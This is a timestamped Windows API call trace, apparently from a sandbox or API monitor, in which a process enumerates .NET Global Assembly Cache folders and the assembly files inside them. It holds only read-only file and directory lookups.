	[0088.661] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.661] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.661] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Windows.ApplicationServer.Applications" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.windows.applicationserver.applications"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.661] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Windows.ApplicationServer.Applications\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940090e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940090e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.661] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940090e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940090e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.662] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce245e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.662] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.662] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.662] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Windows.ApplicationServer.Applications\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.windows.applicationserver.applications\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.662] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Windows.ApplicationServer.Applications\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce245e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.662] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce245e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.662] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22588, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.662] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.662] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.663] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Workflow.Compiler" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.workflow.compiler"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.663] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Workflow.Compiler\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5df7160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5df7160, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.663] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5df7160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5df7160, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.663] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce708a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.663] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.663] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.663] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Workflow.Compiler\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.workflow.compiler\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.663] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Workflow.Compiler\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce708a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.663] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce708a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.663] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x80f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Workflow.Compiler.exe", cAlternateFileName="MICROS~1.EXE")) returned 1
	[0088.663] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.663] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.664] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationBuildTasks" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationbuildtasks"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.664] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationBuildTasks\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60f0ce0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa60f0ce0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa60f0ce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.664] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60f0ce0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa60f0ce0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa60f0ce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.664] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60cab80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5dc6c9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5dc6c9e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.664] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.664] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.664] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationBuildTasks\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationbuildtasks\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.665] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationBuildTasks\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60cab80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5dc6c9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5dc6c9e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.665] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60cab80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5dc6c9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5dc6c9e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.665] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5dc6c9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.665] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.665] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.665] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.665] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947795a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947795a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947795a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.665] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947795a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947795a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947795a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.665] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9466ec00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ef51880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ef51880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.665] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.665] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.666] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.666] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9466ec00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ef51880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ef51880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9466ec00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ef51880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ef51880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ef779e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5ce970, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.666] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.666] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.666] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemCore" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemcore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.667] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemCore\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.667] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.667] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5efc3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5efc3ca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.667] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.667] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.667] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemCore\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemcore\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
